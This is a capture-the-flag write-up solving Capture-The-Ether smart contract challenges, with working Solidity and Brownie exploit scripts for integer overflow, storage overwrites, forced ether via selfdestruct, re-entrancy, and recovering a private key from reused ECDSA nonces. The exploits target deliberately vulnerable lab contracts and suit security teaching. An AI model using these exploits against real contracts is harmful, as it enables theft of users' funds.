Capture-The-Ether CTF - Math, Accounts & Miscellaneous


Math

Token sale

This token contract allows you to buy and sell tokens at an even exchange rate of 1 token per ether.

The contract starts off with a balance of 1 ether. See if you can take some of that away.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.21;

contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;

function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}

function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);

balanceOf[msg.sender] += numTokens;
}

function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);

balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}

To complete this challenge, we must make this contract balance at least one ether. This contract provides us with buy() and sell() functions where the buy() function contract checks if the amount of tokens we are buying * 10^18 is equal to msg. Value, since this contract is not using the safemath library, we can overflow the integers. We can pass a value to numbTokens such that when multiplied with PRICE_PER_TOKEN, the product will be more excellent than 2^256. This makes the integer overflow and gets a mod of 2^256 done. The value will be the remainder which is less than an ether which we give as the msg.value to get the check pass and get tokens. Now we have many tokens with significantly lower prices, and we can sell them and drain the contract’s balance to complete this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from brownie import TokenSaleChallenge, accounts, Wei
from Crypto.Util.number import inverse


def main():
deployer = accounts[0]
player = accounts[1]

contract = TokenSaleChallenge.deploy(
player, {'from': deployer, 'value': '1 ether'})

tokens = inverse(Wei('1 ether'), 2**256)
contract.buy(tokens, {'from': player, 'value': (
tokens*Wei('1 ether')) % 2**256})
contract.sell(1, {'from': player})

assert contract.isComplete() == True

Token whale

This ERC20-compatible token is hard to acquire. There’s a fixed supply of 1,000 tokens, all of which are yours to start with.

Find a way to accumulate at least 1,000,000 tokens to solve this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
address player;

uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;

function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}

function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}

event Transfer(address indexed from, address indexed to, uint256 value);

function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;

emit Transfer(msg.sender, to, value);
}

function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);

_transfer(to, value);
}

event Approval(
address indexed owner,
address indexed spender,
uint256 value
);

function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}

function transferFrom(
address from,
address to,
uint256 value
) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);

allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}

We must make the player balance greater than 1000000 to complete this challenge. Similar to the previous challenge, this contract is not using the safemath library. However, in this case, instead of an overflowing integer, we can make an underflow of the player’s balance. Suppose we observe the transferFrom() function. In that case, it checks whether the from address has sufficient balance and the allowance of the from to msg.sender, but the transfer is done from msg.sender to the given to_address since it is calling the _transfer() function and that function is transferring funds from msg.sender so, in this case, the contract does not check for the balance of the msg.sender before deducting it. Hence, if we send more funds than the balance from our player account using the transferFrom() function, then we can make the integer which holds the player’s balance get underflowed and make the balance more significant than 1000000 to complete this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from brownie import TokenWhaleChallenge, accounts, ZERO_ADDRESS


def main():
deployer = accounts[0]
player = accounts[1]
helper = accounts[2]

contract = TokenWhaleChallenge.deploy(player,
{'from': deployer})

contract.transfer(helper, 505, {'from': player})
contract.approve(player, 500, {'from': helper})
contract.transferFrom(helper, ZERO_ADDRESS, 500, {'from': player})

assert contract.isComplete() == True

Retirement fund

This retirement fund is what economists call a commitment device. I’m trying to make sure I hold on to 1 ether for retirement.

I’ve committed 1 ether to the contract below, and I won’t withdraw it until 10 years have passed. If I do withdraw early, 10% of my ether goes to the beneficiary (you!).

I really don’t want you to have 0.1 of my ether, so I’m resolved to leave those funds alone until 10 years from now. Good luck!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.4.21;

contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;

function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);

beneficiary = player;
startBalance = msg.value;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function withdraw() public {
require(msg.sender == owner);

if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer((address(this).balance * 9) / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}

function collectPenalty() public {
require(msg.sender == beneficiary);

uint256 withdrawn = startBalance - address(this).balance;

// an early withdrawal occurred
require(withdrawn > 0);

// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}

To complete this challenge, we need to steal the funds of this contract. This contract allows us to collect the penalty using the collectPenalty() function if the owner withdraws his funds before expiration. However, suppose we observe the collectPenalty() function. In that case, the contract checks the difference between the start balance, which is the amount deposited in the start, and the current balance is 0. Suppose the remaining balance is kept from our address. So if we send some extra ether to this contract, we steal all the balance left inside this contract, but this contract does not have a fallback() or receive () function to accept ether. However, we can force this contract to receive ether by destroying another contract using the selfdestruct method and to send it is remaining balance to this contract.

1
2
3
4
5
6
7
8
pragma solidity ^0.6.0;

contract Rf_Exploit {
constructor(address payable _address) public payable {
require(msg.value > 0);
selfdestruct(_address);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from brownie import RetirementFundChallenge, Rf_Exploit, accounts


def main():
deployer = accounts[0]
player = accounts[1]

contract = RetirementFundChallenge.deploy(
player, {'from': deployer, 'value': '1 ether'})
Rf_Exploit.deploy(
contract.address, {'from': player, 'value': '1 ether'})

contract.collectPenalty({'from': player})

assert contract.isComplete() == True

Mapping

Who needs mappings? I’ve created a contract that can store key/value pairs using just an array.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.4.21;

contract MappingChallenge {
bool public isComplete;
uint256[] map;

function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}

map[key] = value;
}

function get(uint256 key) public view returns (uint256) {
return map[key];
}
}

To complete this challenge, we need to make the bool isComplete to true. Since we can change the length of the map, which is an uint256[], we can update the length to 2^256 so we can get access to all the slots inside this contract’s storage. Now we can calculate the index number to which it points to the slot 0 where the isComplete is in and overwrite it with 0x01; hence the value of isComplete is true.

1
2
3
4
5
6
7
8
9
10
11
12
13
from brownie import MappingChallenge, accounts, web3


def main():
deployer = accounts[0]
player = accounts[1]

contract = MappingChallenge.deploy({'from': deployer})

contract.set(2**256 - int(web3.soliditySha3(
abi_types=['uint256'], values=[1]).hex()[2:], 16), 0x01, {'from': player})

assert contract.isComplete() == True

Donation

A candidate you don’t like is accepting campaign contributions via the smart contract below.

To complete this challenge, steal the candidate’s ether.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.21;

contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;

address public owner;

function DonationChallenge() public payable {
require(msg.value == 1 ether);

owner = msg.sender;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);

Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;

donations.push(donation);
}

function withdraw() public {
require(msg.sender == owner);

msg.sender.transfer(address(this).balance);
}
}

To complete this challenge, we need to steal the funds of this contract. We can steal the funds only if we are the owner since the function donate() creates an uninitialized storage pointer, which will be pointing to slot 0 by default. We the donation.timestamp overwrites the length of the donations array, and the donation.etherAmount will overwrite the owner variable. Now there is another bug in this contract in the calculation of the scale, which makes us easier to give the value of our address to the function to become the owner. Since the scale is 10^36, we can send the value of our address divided by 10^36 and send the answer amount of ether and pass our address to the donate() function to become owner and we can steal the funds by calling withdraw() function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from brownie import DonationChallenge, accounts


def main():
deployer = accounts[0]
player = accounts[1]

contract = DonationChallenge.deploy({'from': deployer, 'value': '1 ether'})

contract.donate(int(player.address, 16), {
'from': player, 'value': int(player.address, 16) // 10**36})
assert contract.owner() == player
contract.withdraw({'from': player})

assert contract.isComplete() == True

Fifty years

This contract locks away ether. The initial ether is locked away until 50 years has passed, and subsequent contributions are locked until even later.

All you have to do to complete this challenge is wait 50 years and withdraw the ether. If you’re not that patient, you’ll need to combine several techniques to hack this contract.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
pragma solidity ^0.4.21;

contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] public queue;
uint256 public head;

address public owner;

function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);

owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);

if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(
timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days
);

contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}

function withdraw(uint256 index) public {
require(msg.sender == owner);
require(now >= queue[index].unlockTimestamp);

// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;

// Reclaim storage.
delete queue[i];
}

// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;

msg.sender.transfer(total);
}
}

We aim to steal all the funds from this contract locked for 50 years. If we look at the upsert() function, first, it checks if the index is inside the bounds of the queue array. If yes, then it just adds the msg.value to the amount of that struct at the index. Suppose the index is out of bounds. In that case, it checks for the timestamp to be greater or equal to the last timestamp and creates a struct, and pushes it to the queue since there is no keyword memory used while initializing the struct, it points to the address 0 that is contribute.amount points to queue.length and contribute.unlockTimestamp points to head. Now the exploit idea is to push a contribution to the queue with the timestamp 0 by overflowing the check inside the upsert() function and force some ether such that it has the actual amount to transfer in withdraw() function and execute the withdraw() function to steal all the funds.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from brownie import FiftyYearsChallenge, Rf_Exploit, accounts


def main():
deployer = accounts[0]
player = accounts[1]

contract = FiftyYearsChallenge.deploy(
player, {'from': deployer, 'value': '1 ether'})

contract.upsert(2, 2**256-86400, {'from': player, 'value': 1})
contract.upsert(3, 0, {'from': player, 'value': 2})
Rf_Exploit.deploy(contract, {'from': player, 'value': 2})
contract.withdraw(2, {'from': player})

assert contract.isComplete() == True


Accounts

Fuzzy identity

This contract can only be used by me (smarx). I don’t trust myself to remember my private key, so I’ve made it so whatever address I’m using in the future will work:

I always use a wallet contract that returns “smarx” if you ask its name.
Everything I write has bad code in it, so my address always includes the hex string badc0de.
To complete this challenge, steal my identity!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

interface IName {
function name() external view returns (bytes32);
}

contract FuzzyIdentityChallenge {
bool public isComplete;

function authenticate() public {
require(isSmarx(msg.sender));
require(isBadCode(msg.sender));

isComplete = true;
}

function isSmarx(address addr) internal view returns (bool) {
return IName(addr).name() == bytes32("smarx");
}

function isBadCode(address _addr) internal pure returns (bool) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000badc0de";
bytes20 mask = hex"000000000000000000000000000000000fffffff";

for (uint256 i = 0; i < 34; i++) {
if (addr & mask == id) {
return true;
}
mask <<= 4;
id <<= 4;
}

return false;
}
}

To solve this challenge, we need to authenticate this contract with a contract with 'badc0de' in its address’s hex and return’s 'smarx' for when function name() is called. We can deploy a contract that returns the name but having 'badc0de' inside the address is something we can only achieve by bruteforce. So we need to brute for an address and a nonce which gives us the required address when we deploy the contract. After much brute force got an address inside the console, so I used that address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity ^0.8.0;

interface FuzzyIdentityChallenge {
function authenticate() external;
}

contract Fi_Exploit {
bytes32 public name = bytes32("smarx");
FuzzyIdentityChallenge fi;

constructor(address _address) {
fi = FuzzyIdentityChallenge(_address);
}

function exploit() public {
fi.authenticate();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from brownie import FuzzyIdentityChallenge, Fi_Exploit, accounts, ZERO_ADDRESS
from eth_utils import keccak, to_checksum_address
from rlp import encode


def get(addr, i):
return 'badc0de' in to_checksum_address(keccak(encode([bytes.fromhex(addr[2:]), i]))[12:]).lower()


def find():
hsh = get(accounts[0].address, i)
while not hsh:
i = 0
while i < 1000000:
hsh = get(accounts[0].address, i)
i += 1
if i % 100 == 0:
print(i)
accounts.remove(accounts[0])
accounts.add()
print(accounts[0])


def main():
deployer = accounts[0]
# find() got Private_key: '0xa376e6c4be605caa488ff90fd81c72a93b7917af0ec8da1c8b46c930246856f5' and address: '0x6C37d4bb51dc59D11aDfA5aA454422944060cfcD' at "i: 6"
accounts.add(
private_key='0xa376e6c4be605caa488ff90fd81c72a93b7917af0ec8da1c8b46c930246856f5')
player = accounts[-1]

for _ in range(6):
player.transfer(to=ZERO_ADDRESS, amount=0)
assert player.nonce == 6

contract = FuzzyIdentityChallenge.deploy({'from': deployer})
iName = Fi_Exploit.deploy(contract.address, {'from': player})
iName.exploit()

assert contract.isComplete() == True

Public key

Recall that an address is the last 20 bytes of the keccak-256 hash of the address’s public key.

To complete this challenge, find the public key for the owner’s account.

1
2
3
4
5
6
7
8
9
10
11
12
pragma solidity ^0.4.21;

contract PublicKeyChallenge {
address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
bool public isComplete;

function authenticate(bytes publicKey) public {
require(address(keccak256(publicKey)) == owner);

isComplete = true;
}
}

To solve this challenge, we must find the PublicKey of the given address. Since the address is the last 20 bytes of the public key’s keccak hash, we cannot reverse the hash to obtain publickey. However, there is another way to find the public key if the address has made a transaction. Since the transaction contains the transaction’s signature and the public key, we can get the public key if the address made any transaction.

Looking at the ropsten.etherscan.io gives us four transactions made from other addresses to this address, and this address made one transaction with data Thanks, man!

here’s the raw transaction:
0xf87080843b9aca0083015f90946b477781b0e68031109f21887e6b5afeaaeb002b808c5468616e6b732c206d616e2129a0a5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7a05710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from brownie import PublicKeyChallenge, accounts
from rlp import encode, decode
from ethereum.transactions import Transaction
from fastecdsa.curve import secp256k1
from fastecdsa.point import Point
from sympy import sqrt_mod
from gmpy2 import invert
from eth_utils import keccak, to_checksum_address


def recover_publicKey(raw_tx, address):
tx = decode(bytes.fromhex(raw_tx[2:]), Transaction)
# print(tx.to_dict())
# '''
# {'nonce': 0,
# 'gasprice': 1000000000,
# 'startgas': 90000,
# 'to': '0x6b477781b0e68031109f21887e6b5afeaaeb002b',
# 'value': 0,
# 'data': '0x5468616e6b732c206d616e21',
# 'v': 41, # for some reason here chain id should is not 3
# 'r': 74776771311019569939017621593480679160618399812524181808306514788568607828695,
# 's': 39381076589634547203973423246354256320472887426210737547826636053693505964386,
# 'sender': '0x92b28647ae1f3264661f72fb2eb9625a89d88a31',
# 'hash': '0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb'}
# '''
new_tx = Transaction(tx.nonce, tx.gasprice, tx.startgas,
tx.to, tx.value, tx.data, 3)
r, s, a, b, p, q, G = tx.r, tx.s, secp256k1.a, secp256k1.b, secp256k1.p, secp256k1.q, secp256k1.G
data = Transaction.serialize(new_tx)
z = int(keccak(encode(data)).hex(), 16) % p
y = sqrt_mod((r**3 + a*r + b) % p, p, all_roots=True)
R = Point(r, y[0], secp256k1)
R_ = Point(r, y[1], secp256k1)
ri = int(invert(r, q))
# s = k^-1 * ( h + r*d ) -> s*R = ( h + r*d )*k^-1*k*G = ( h+ r*d )*G
# -> (h*G + r*d*G) -> s*R - zG = (h*G + r*d*G - h*G ) = r*d*G -> (s*R - zG)*ri = r*d*G*(r^-1) -> -> d*G
k = ri * (s*R - z*G)
k_ = ri * (s*R_ - z*G)
addr = keccak(bytes.fromhex(hex(k.x)[2:]+hex(k.y)[2:]))[-20:].hex()
addr_ = keccak(bytes.fromhex(hex(k_.x)[2:]+hex(k_.y)[2:]))[-20:].hex()
assert address in [addr, addr_], f'address not found!!'

# found publickey
publicKey = [k if addr == address else k_][0]

return publicKey


def main():
deployer = accounts[0]
player = accounts[1]

contract = PublicKeyChallenge.deploy({'from': deployer})

# ropsten is depreciated, so i got this from other writeups online.
raw_tx = '0xf87080843b9aca0083015f90946b477781b0e68031109f21887e6b5afeaaeb002b808c5468616e6b732c206d616e2129a0a5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7a05710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962'

publickey = recover_publicKey(
raw_tx, '92b28647ae1f3264661f72fb2eb9625a89d88a31')
# after finding the publickey

contract.authenticate(
hex(publicKey.x)+hex(publicKey.y)[2:], {'from': player})

assert contract.isComplete() == True

Account takeover

To complete this challenge, send a transaction from the owner’s account.

1
2
3
4
5
6
7
8
9
10
11
12
pragma solidity ^0.4.21;

contract AccountTakeoverChallenge {
address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b;
bool public isComplete;

function authenticate() public {
require(msg.sender == owner);

isComplete = true;
}
}

This is a similar challenge to the previous one, but we need to overtake the account by recovering the private key. I had no clue how is that possible until I looked at the etherscan for transactions and found two transactions with the same nonce that is, they both have the same r-value, which makes it very easy for us to crack the private key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from brownie import AccountTakeoverChallenge, accounts
from rlp import encode
from ethereum.transactions import Transaction
from fastecdsa.curve import secp256k1
from eth_utils import keccak
from gmpy2 import invert


def calculate_hsh(tx):
new_tx = Transaction(tx['nonce'], tx['gasPrice'], tx['gasLimit'],
tx['to'], tx['value'], tx['data'], tx['v'])
data = Transaction.serialize(new_tx)
z = int(keccak(encode(data)).hex(), 16)
return z


def main():
deployer = accounts[0]

contract = AccountTakeoverChallenge.deploy({'from': deployer})

# ropsten is depreciated, so i got this from other writeups online.
reconstructed_tx_1 = {
'nonce': 0x00,
'gasPrice': 0x3b9aca00,
'gasLimit': 0x5208,
'to': '0x92b28647ae1f3264661f72fb2eb9625a89d88a31',
'value': 0x1111d67bb1bb0000,
'data': b'',
'v': 0x03
}
reconstructed_tx_2 = {
'nonce': 0x01,
'gasPrice': 0x3b9aca00,
'gasLimit': 0x5208,
'to': '0x92b28647ae1f3264661f72fb2eb9625a89d88a31',
'value': 0x1922e95bca330e00,
'data': b'',
'v': 0x03
}

# message hash values
z1 = calculate_hsh(reconstructed_tx_1)
z2 = calculate_hsh(reconstructed_tx_2)

# r and s values from the writeups
r = 0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166
s1 = 0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8
s2 = 0x2bbd9c2a6285c2b43e728b17bda36a81653dd5f4612a2e0aefdb48043c5108de
p = secp256k1.q

def inv(x, p): return int(invert(x, p))

k = ((z1 - z2) * inv(s1 - s2, p)) % p
d = ((k*s1 - z1) * inv(r, p)) % p
assert ((k*s2 - z2) * inv(r, p)) % p == d

player = accounts.add(private_key=d)
assert player.address == '0x6B477781b0e68031109f21887e6B5afEAaEB002b', player.address
contract.authenticate({'from': player})

assert contract.isComplete() == True

Miscellaneous

Asume ownership

To complete this challenge, become the owner.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.21;

contract AssumeOwnershipChallenge {
address owner;
bool public isComplete;

function AssumeOwmershipChallenge() public {
owner = msg.sender;
}

function authenticate() public {
require(msg.sender == owner);

isComplete = true;
}
}

To complete this challenge, we need to become owner. If we observe the constructor of this contract, it contains a typo, so it does not count as a constructor anymore, and it is a public function that everyone can call, and this function sets the owner. So we can call the AssumeOwmershipChallenge() function to become the owner.

1
2
3
4
5
6
7
8
9
10
11
12
13
from brownie import AssumeOwnershipChallenge, accounts


def main():
deployer = accounts[0]
player = accounts[1]

contract = AssumeOwnershipChallenge.deploy({'from': deployer})

contract.AssumeOwmershipChallenge({'from': player})
contract.authenticate({'from': player})

assert contract.isComplete() == True

Token bank

I created a token bank. It allows anyone to deposit tokens by transferring them to the bank and then to withdraw those tokens later. It uses ERC 223 to accept the incoming tokens.

The bank deploys a token called “Simple ERC223 Token” and assigns half the tokens to me and half to you. You win this challenge if you can empty the bank.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
pragma solidity ^0.4.21;

interface ITokenReceiver {
function tokenFallback(address from, uint256 value, bytes data) external;
}

contract SimpleERC223Token {
// Track how many tokens are owned by each address.
mapping (address => uint256) public balanceOf;

string public name = "Simple ERC223 Token";
string public symbol = "SET";
uint8 public decimals = 18;

uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);

event Transfer(address indexed from, address indexed to, uint256 value);

function SimpleERC223Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}

function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return length > 0;
}

function transfer(address to, uint256 value) public returns (bool success) {
bytes memory empty;
return transfer(to, value, empty);
}

function transfer(address to, uint256 value, bytes data) public returns (bool) {
require(balanceOf[msg.sender] >= value);

balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);

if (isContract(to)) {
ITokenReceiver(to).tokenFallback(msg.sender, value, data);
}
return true;
}

event Approval(address indexed owner, address indexed spender, uint256 value);

mapping(address => mapping(address => uint256)) public allowance;

function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}

function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);

balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}

contract TokenBankChallenge {
SimpleERC223Token public token;
mapping(address => uint256) public balanceOf;

function TokenBankChallenge(address player) public {
token = new SimpleERC223Token();

// Divide up the 1,000,000 tokens, which are all initially assigned to
// the token contract's creator (this contract).
balanceOf[msg.sender] = 500000 * 10**18; // half for me
balanceOf[player] = 500000 * 10**18; // half for you
}

function isComplete() public view returns (bool) {
return token.balanceOf(this) == 0;
}

function tokenFallback(address from, uint256 value, bytes) public {
require(msg.sender == address(token));
require(balanceOf[from] + value >= balanceOf[from]);

balanceOf[from] += value;
}

function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);

require(token.transfer(msg.sender, amount));
balanceOf[msg.sender] -= amount;
}
}

To complete this challenge, we need to steal the balance. If we observe here that we have two contracts, SimpleERC223Token and TokenBankChallenge, and two kinds of balances, one inside each contract, we need to steal the balance inside the SimpleERC223Token. We can understand that the challenge contract contains the full balance inside the token contract and shares the balance inside it with the owner and player. Let us look at the transfer function inside the token contract. It calls a tokenFallback() function if the to_address is a contract. Now, if we observe the challenge contract inside the withdraw function, it calls the token.transfer() and then deducts our balance. It indirectly calls tokenFallback() function. so if we again call the withdraw() function inside our tokenFallback() function of our contract, we can make the contract transfer the amount again since the token.transfer() activates tokenFallback() and then withdraw() function and this all happens before the deduction of our balance, so our balance stays the same even if we got our funds transferred. This is a re-entrancy attack, and we can call the withdraw() function until we drain the contract’s balance. So, in this case, we call withdraw() 2 times, manually and once inside the tokenFallback() function, and we get all the funds to our address; hence we complete the challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity ^0.8.0;

interface TokenBankChallenge {
function isComplete() external view returns (bool);

function token() external view returns (address);

function balanceOf(address) external view returns (uint256);

function withdraw(uint256 amount) external;
}

interface Token {
function balanceOf(address) external view returns (uint256);
}

contract Tb_Exploit {
TokenBankChallenge public tb;

function set(address _address) public {
tb = TokenBankChallenge(_address);
}

function tokenFallback(
address from,
uint256 value,
bytes calldata data
) public {
if (Token(tb.token()).balanceOf(address(tb)) > 0) {
withdraw();
}
}

function withdraw() public {
tb.withdraw(tb.balanceOf(address(this)));
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from brownie import TokenBankChallenge, Tb_Exploit, accounts


def main():
deployer = accounts[0]
player = accounts[1]

exploit = Tb_Exploit.deploy({'from': player})
contract = TokenBankChallenge.deploy(exploit.address, {'from': deployer})

exploit.set(contract.address, {'from': player})
exploit.withdraw({'from': player})

assert contract.isComplete() == True